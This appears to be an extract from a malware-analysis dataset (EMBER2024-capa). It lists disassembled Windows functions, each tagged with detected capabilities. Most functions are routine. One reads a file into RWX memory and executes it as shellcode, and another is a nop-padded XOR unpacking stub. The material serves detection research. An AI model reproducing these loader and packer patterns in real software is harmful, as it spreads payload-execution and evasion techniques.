joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420500
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x5df4], 0
lea esi, [edi + 0x5df8]
je 0x420582
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x42053c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.004229c0
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.0040b320
mov edx, dword [esi]
mov ecx, 0x45e6e4
push dword [edi + 0x5df4]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x5e00]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.0040b320
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x420990
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
push esi
lea esi, [ecx + 1]
push edi
mov edi, dword [0x45e6e8]
test bl, bl
je 0x4209d6
or edi, 0xffffffff
cmp bl, 0x23
jne 0x4209b7
cmp byte [esi], bl
jne 0x4209b7
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x455768]
test bl, bl
jne 0x4209a8
mov edi, dword [0x45e6e8]
mov ecx, dword [edi + 0x5d98]
not eax
mov edx, dword [edi + 0x5da0]
pop edi
pop esi
lea ecx, [ecx + ecx*8]
lea ecx, [edx + ecx*4]
pop ebx
cmp edx, ecx
je 0x4209fd
cmp dword [edx + 4], eax
je 0x420a00
add edx, 0x24
cmp edx, ecx
jne 0x4209f1
xor eax, eax
ret
mov eax, edx
ret
Function at 0x434260
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x45e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [0x45e6e8]
mov ebx, ecx
push 0x40
mov dword [ebp - 0x20], edx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [0x45e6e8]
add esp, 4
mov esi, eax
test ecx, ecx
je 0x4342ec
movsx eax, word [ecx + 0x5ea4]
mov edx, dword [ecx + 0x3f10]
add eax, 0xbd5
mov dword [ebp - 0x14], edx
cmp dword [ecx + eax*8], edx
lea eax, [ecx + eax*8]
je 0x4342e2
movsx eax, word [ecx + 0x5ea4]
inc eax
mov dword [ebp - 0x1c], 6
cdq
idiv dword [ebp - 0x1c]
movzx eax, dx
mov edx, dword [ebp - 0x14]
mov word [ecx + 0x5ea4], ax
cwde
add eax, 0xbd5
lea eax, [ecx + eax*8]
mov dword [eax], edx
xor edx, edx
mov dword [eax + 4], edx
inc word [eax + 4]
inc dword [ecx + 0x5e9c]
test esi, esi
je 0x434361
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0x1388
mov dword [esi + 0x3c], 0x2710
jmp 0x434363
xor esi, esi
or dword [edi + 0xc], 8
lea ecx, [ebp - 8]
push ecx
mov dword [edi + 0x78], esi
mov dword [edi + 0x70], str.imgui_impl_dx11
mov eax, dword [ebx]
push 0x45a0ec
push ebx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
call dword [eax]
test eax, eax
jne 0x4343d2
mov ecx, dword [ebp - 8]
lea edx, [ebp - 0xc]
push edx
push 0x45a0fc
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
test eax, eax
jne 0x4343d2
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x10]
push edx
push 0x45a10c
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
test eax, eax
jne 0x4343d2
mov eax, dword [ebp - 0x20]
mov dword [esi], ebx
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 8], eax
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x4343df
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4343ec
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
mov eax, dword [esi + 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004522e5
mov esp, ebp
pop ebp
ret
Function at 0x434410
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x45e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [0x45e6e8]
lea eax, [ebp - 0x10]
push esi
push edi
push eax
mov dword [ebp - 0x24], ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x4345bc
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x4345bc
push 0x38
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, dword [0x45e6e8]
add esp, 4
mov edi, eax
test esi, esi
je 0x4344b3
movsx edx, word [esi + 0x5ea4]
lea eax, [esi + 0x5ea8]
mov ecx, dword [esi + 0x3f10]
lea eax, [eax + edx*8]
cmp dword [eax], ecx
je 0x4344a9
lea eax, [edx + 1]
mov dword [ebp - 0x1c], 6
cdq
idiv dword [ebp - 0x1c]
movzx eax, dx
mov word [esi + 0x5ea4], ax
cwde
add eax, 0xbd5
lea eax, [esi + eax*8]
mov dword [eax], ecx
xor ecx, ecx
mov dword [eax + 4], ecx
inc word [eax + 4]
inc dword [esi + 0x5e9c]
test edi, edi
je 0x4344c6
push 0x38
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x4344c8
xor edi, edi
or dword [ebx + 0xc], 6
mov dword [ebx + 0x74], edi
mov dword [ebx + 0x6c], 0x45a11c
mov ebx, dword [ebp - 0x24]
mov dword [edi], ebx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [edi + 0x18], eax
mov dword [edi + 0x1c], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], ecx
mov dword [edi + 0x20], 9
test esi, esi
je 0x434503
mov esi, dword [esi + 0x74]
jmp 0x434505
xor esi, esi
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 4
add esi, 0x24
shr eax, 0x10
push esi
push 0x20001004
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x434528
mov dword [esi], eax
mov eax, dword [0x45e6e8]
xor esi, esi
mov dword [ebp - 0x38], str.xinput1_4.dll
mov dword [ebp - 0x34], str.xinput1_3.dll
mov dword [ebp - 0x30], str.xinput9_1_0.dll
mov eax, dword [eax + 0x4a28]
mov dword [ebp - 0x2c], str.xinput1_2.dll
mov dword [ebp - 0x28], str.xinput1_1.dll
mov eax, dword [eax]
mov dword [eax + 0x24], ebx
mov byte [edi + 0x29], 1
push dword [ebp + esi*4 - 0x38]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
jne 0x43458a
inc esi
cmp esi, 5
jl 0x434561
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004522e5
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.XInputGetCapabilities
push ebx
mov dword [edi + 0x2c], ebx
call esi
push str.XInputGetState
push ebx
mov dword [edi + 0x30], eax
call esi
mov dword [edi + 0x34], eax
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004522e5
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004522e5
mov esp, ebp
pop ebp
ret
Function at 0x449850
Capabilities:
Hash data with crc32

Disassembly:
push ecx
test dword [ecx + 0xc], 0x100000
push ebx
push esi
push edi
mov edi, edx
je 0x4498c2
mov cl, byte [edi]
lea esi, [edi + 1]
or eax, 0xffffffff
test cl, cl
je 0x449898
or edi, 0xffffffff
nop
cmp cl, 0x23
jne 0x44987f
cmp byte [esi], cl
jne 0x44987f
cmp byte [esi + 1], cl
cmove eax, edi
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x455768]
test cl, cl
jne 0x449870
mov ecx, dword [0x45e6e8]
not eax
cmp dword [ecx + 0x3fe4], eax
jne 0x4498ae
mov dword [ecx + 0x3fe8], eax
cmp dword [ecx + 0x400c], eax
jne 0x449908
mov byte [ecx + 0x4010], 1
pop edi
pop esi
pop ebx
pop ecx
ret
mov eax, dword [0x45e6e8]
xor edx, edx
mov esi, dword [eax + 0x3f94]
mov ecx, dword [esi + 0xec]
mov eax, dword [esi + 0xf4]
push dword [eax + ecx*4 - 4]
mov ecx, edi
call fcn.0040ab00
mov ecx, dword [esi]
mov ebx, eax
add esp, 4
cmp dword [ecx + 0x3fcc], ebx
jne 0x449906
push ecx
push edi
mov edx, 0xb
mov ecx, ebx
call fcn.00421af0
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x452dd8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x452e17
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x452e17
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x452e17
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x452e17
cmp dword [ecx + 0x74], 0xe
jbe 0x452e17
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10017106
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10017128
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10017126
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x10017130
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esp, ebp
pop ebp
ret
Function at 0x100187c3
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100187e7
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0xffffffff
jmp 0x100187ef
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esp, ebp
pop ebp
ret
Function at 0x100201ec
Capabilities:
Create thread
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10020202
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x10020226
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10020226
push 0
push 0x2144
push 0
push 0
push 0x129
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret

Function at 0x10020287
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1002029c
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x100202ad
push 0x1a24
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
pop ebp
ret

Function at 0x100204d7
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x100204f9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
and dword [eax], 0
jmp 0x10020517
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10020517
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esp, ebp
pop ebp
ret
Function at 0x1002b140
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1002b16d
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1002b16b
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x1002b177
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
mov esp, ebp
pop ebp
ret

Function at 0x1002b1ed
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1002b204
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x1002b237
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1002b237
push 0
push 0xd09
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
mov esp, ebp
pop ebp
ret

Function at 0x1002cb7d
Capabilities:
Delete registry key
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1002cbaa
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1002cba8
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x1002cbb4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esp, ebp
pop ebp
ret
Function at 0x10031247
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
push 0xc61
push 0
push 0x68c4
push 0xb69
lea eax, [ebp - 0x10]
push eax
call fcn.100313fd
add esp, 0x18
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10031286
xor eax, eax
jmp 0x100313f9
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x100312a4
xor eax, eax
jmp 0x100313f9
lea eax, [ebp - 8]
push eax
push 0x778d
push 1
push 0x727a
push 0x704
push 0x5879
push 0x54ff
lea eax, [ebp - 0xc]
push eax
push 0x4abe
push 0x3a34
call fcn.10030e89
add esp, 0x28
cmp dword [ebp - 0xc], 0
jne 0x100312e6
xor eax, eax
jmp 0x100313f9
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x6a37
call fcn.10030ff6
add esp, 0x1c
push 1
lea eax, [ebp - 8]
push eax
push 0x6bf8
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1003108e
add esp, 0x14
push 0x3ef3
push 0x10d8
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call fcn.10031100
add esp, 0x18
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x362e
push 1
push 0x63c7
push 0x5f2d
call fcn.10031100
add esp, 0x18
push dword [ebp - 4]
call fcn.1002f5a0
pop ecx
test eax, eax
jne 0x10031379
xor eax, eax
jmp 0x100313f9
push 0x807
lea eax, [ebp - 4]
push eax
push 0x36ea
push 1
push 0x1301
call fcn.1003117e
add esp, 0x14
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x100313e1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x14], ecx
jne 0x100313b5
xor eax, eax
jmp 0x100313f9
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x100313ce
xor eax, eax
jmp 0x100313f9
push 1
lea eax, [ebp - 4]
push eax
push 0x5e56
call fcn.100311f7
add esp, 0xc
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x100313f2
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
jmp 0x100313f6
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret
Function at 0x10043b4e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10043b82
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10043b80
push 0
push 0x2144
push 0
push 0
push 0x129
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10043ba0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
call fcn.10066912
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x10046296
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100462ad
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x100462cd
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100462cd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
mov esp, ebp
pop ebp
ret

Function at 0x100464b7
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100464db
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100464d9
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x100464f0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [eax], 0xd9d65fe9
mov esp, ebp
pop ebp
ret

Function at 0x10046a8b
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x10046afb
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
push 0
mov eax, dword [ebp - 0x18]
push dword [eax]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
add ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, ecx
push eax
mov ecx, dword [ebp - 0x28]
call fcn.1004c571
jmp 0x10046b03
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esp, ebp
pop ebp
ret
Function at 0x10079a15
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10081330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1006a740
mov dword [ebp - 0x14], eax
cmp dword [0x11a96c8c], esi
jne 0x10079b08
push 0x800
push esi
push 0x10007b0c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10079a95
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10079be8
push esi
push esi
push 0x10007b0c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10079be8
push 0x10007b24
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10079be8
push eax
call ebx
push 0x10007b30
push edi
mov dword [0x11a96c8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007b40
push edi
mov dword [0x11a96c90], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007b54
push edi
mov dword [0x11a96c94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x11a96c9c], eax
test eax, eax
je 0x10079b05
push 0x10007b70
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x11a96c98], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10079b2d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10079b20
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10079b42
push 4
pop eax
jmp 0x10079bea
cmp dword [ebp - 0x14], esi
je 0x10079b42
push dword [0x11a96c8c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10079b27
mov eax, dword [0x11a96c98]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x10079ba0
cmp dword [0x11a96c9c], edi
je 0x10079ba0
push eax
call ebx
push dword [0x11a96c9c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10079ba0
test eax, eax
je 0x10079ba0
call ecx
test eax, eax
je 0x10079b95
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10079b95
test byte [ebp - 8], 1
jne 0x10079ba0
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x10079bd0
mov eax, dword [0x11a96c90]
cmp eax, edi
je 0x10079bcd
push eax
call ebx
test eax, eax
je 0x10079bcd
call eax
mov esi, eax
test esi, esi
je 0x10079bcd
mov eax, dword [0x11a96c94]
cmp eax, edi
je 0x10079bcd
push eax
call ebx
test eax, eax
je 0x10079bcd
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x11a96c8c]
call ebx
test eax, eax
je 0x10079be8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10079bea
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10066fbd
mov esp, ebp
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4c1a59e2
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x10325eba
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
jmp 0x431219